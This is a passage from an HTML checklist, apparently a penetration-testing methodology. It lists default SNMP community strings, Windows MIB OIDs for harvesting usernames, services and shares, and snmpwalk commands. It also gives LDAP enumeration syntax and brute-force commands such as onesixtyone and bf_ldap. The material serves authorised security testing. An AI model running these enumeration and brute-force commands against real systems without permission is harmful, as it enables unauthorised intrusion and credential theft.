<li>Default Community Strings
<ul>
<li>public </li>
<li>private </li>
<li>cisco
<ul>
<li>cable-docsis </li>
<li>ILMI </li>
</ul>
</li>
</ul>
</li>
<li>MIB enumeration
<ul>
<li>Windows NT
<ul>
<li>.1.3.6.1.2.1.1.5 Hostnames </li>
<li>.1.3.6.1.4.1.77.1.4.2 Domain Name </li>
<li>.1.3.6.1.4.1.77.1.2.25 Usernames </li>
<li>.1.3.6.1.4.1.77.1.2.3.1.1 Running Services </li>
<li>.1.3.6.1.4.1.77.1.2.27 Share Information </li>
</ul>
</li>
<li><a href="http://www.solarwinds.net/Download-Tools.htm">Solarwinds MIB walk </a><a href="http://www.solarwinds.net/Download-Tools.htm"></a></li>
<li><a href="http://www.wtcs.org/snmp4tpc/getif.htm">Getif </a><a href="http://www.wtcs.org/snmp4tpc/getif.htm"></a></li>
<li>snmpwalk
<ul>
<li>snmpwalk -v <Version> -c <Community string> <IP> </li>
</ul>
</li>
<li><a href="http://www.foundstone.com/">Snscan </a><a href="http://www.foundstone.com/"></a></li>
<li>Applications
<ul>
<li>ZyXel
<ul>
<li>snmpget -v2c -c <Community String> <IP> 1.3.6.1.4.1.890.1.2.1.2.6.0 </li>
<li>snmpwalk -v2c -c <Community String> <IP> 1.3.6.1.4.1.890.1.2.1.2 </li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
<li>SNMP Bruteforce
<ul>
<li>onesixtyone
<ul>
<li>onesixytone -c SNMP.wordlist <IP> </li>
</ul>
</li>
<li>cat
<ul>
<li>./cat -h <IP> -w SNMP.wordlist </li>
</ul>
</li>
<li><a href="http://www.solarwinds.net/Download-Tools.htm">Solarwinds SNMP Brute Force </a><a href="http://www.solarwinds.net/Download-Tools.htm"></a></li>
<li><a href="http://adm.freelsd.net/ADM/">ADMsnmp </a><a href="http://adm.freelsd.net/ADM/"></a></li>
</ul>
</li>
<li>Examine SNMP Configuration files
<ul>
<li>snmp.conf </li>
<li>snmpd.conf </li>
<li>snmp-config.xml </li>
</ul>
</li>
</ul>
</li>
<li>LDAP Port 389 Open
<ul>
<li>ldap enumeration
<ul>
<li><a href="http://sourceforge.net/projects/ldapminer/">ldapminer </a><a href="http://sourceforge.net/projects/ldapminer/"></a>
<ul>
<li>ldapminer -h ip_address -p port (not required if default) -d </li>
</ul>
</li>
<li><a href="http://luma.sourceforge.net/">luma </a><a href="http://luma.sourceforge.net/"></a>
<ul>
<li>Gui based tool </li>
</ul>
</li>
<li><a href="http://www.microsoft.com/">ldp </a><a href="http://www.microsoft.com/"></a>
<ul>
<li>Gui based tool </li>
</ul>
</li>
<li><a href="http://www.vulnerabilityassessment.co.uk/%20http://www.openldap.org/">openldap </a><a href="http://www.vulnerabilityassessment.co.uk/%20http://www.openldap.org/"></a>
<ul>
<li>ldapsearch [-n] [-u] [-v] [-k] [-K] [-t] [-A] [-L[L[L]]] [-M[M]] [-d debuglevel] [-f file] [-D binddn] [-W] [-w passwd] [-y passwdfile] [-H ldapuri] [-h ldaphost] [-p ldapport] [-P 2|3] [-b searchbase] [-s base|one|sub] [-a never|always|search|find] [-l timelimit] [-z sizelimit] [-O security-properties] [-I] [-U authcid] [-R realm] [-x] [-X authzid] [-Y mech] [-Z[Z]] filter [attrs...] </li>
<li>ldapadd [-c][-S file][-n][-v][-k][-K][-M[M]][-d debuglevel][-D binddn][-W][-w passwd][-y passwdfile][-h ldaphost][-p ldap-port][-P 2|3][-O security-properties][-I][-Q][-U authcid][-R realm][-x][-X authzid][-Y mech][-Z[Z]][-f file] </li>
<li>ldapdelete [-n][-v][-k][-K][-c][-M[M]][-d debuglevel][-f file][-D binddn][-W][-w passwd][-y passwdfile][-H ldapuri][-h ldaphost][-P 2|3][-p ldapport][-O security-properties][-U authcid][-R realm][-x][-I][-Q] [-X authzid][-Y mech][-Z[Z]][dn] </li>
<li> ldapmodify [-a][-c][-S file][-n][-v][-k][-K][-M[M]][-d debuglevel][-D binddn][-W][-w passwd][-y passwdfile][-H ldapuri][-h ldaphost][-p ldapport][-P 2|3][-O security-properties][-I][-Q][-U authcid][-R realm][-x][-X authzid][-Y mech][-Z[Z]][-f file] </li>
<li>ldapmodrdn [-r][-n][-v][-k][-K][-c][-M[M]][-d debuglevel][-D binddn][-W][-w passwd][-y passwdfile] [-H ldapuri][-h ldaphost][-p ldapport][-P 2|3][-O security-properties][-I][-Q][-U authcid][-R realm][-x] [-X authzid][-Y mech][-Z[Z]][-f file][dn rdn] </li>
</ul>
</li>
</ul>
</li>
<li>ldap brute force
<ul>
<li><a href="http://examples.oreilly.com/networksa/tools/">bf_ldap </a><a href="http://examples.oreilly.com/networksa/tools/"></a>
<ul>
<li>bf_ldap -s server -d domain name -u|-U username | users list file name -L|-l passwords list | length of passwords to generate optional: -p port (default 389) -v (verbose mode) -P Ldap user path (default ,CN=Users,) </li>
</ul>
</li>
<li><a href="http://www.indianz.ch/">K0ldS </a><a href="http://www.indianz.ch/"></a></li>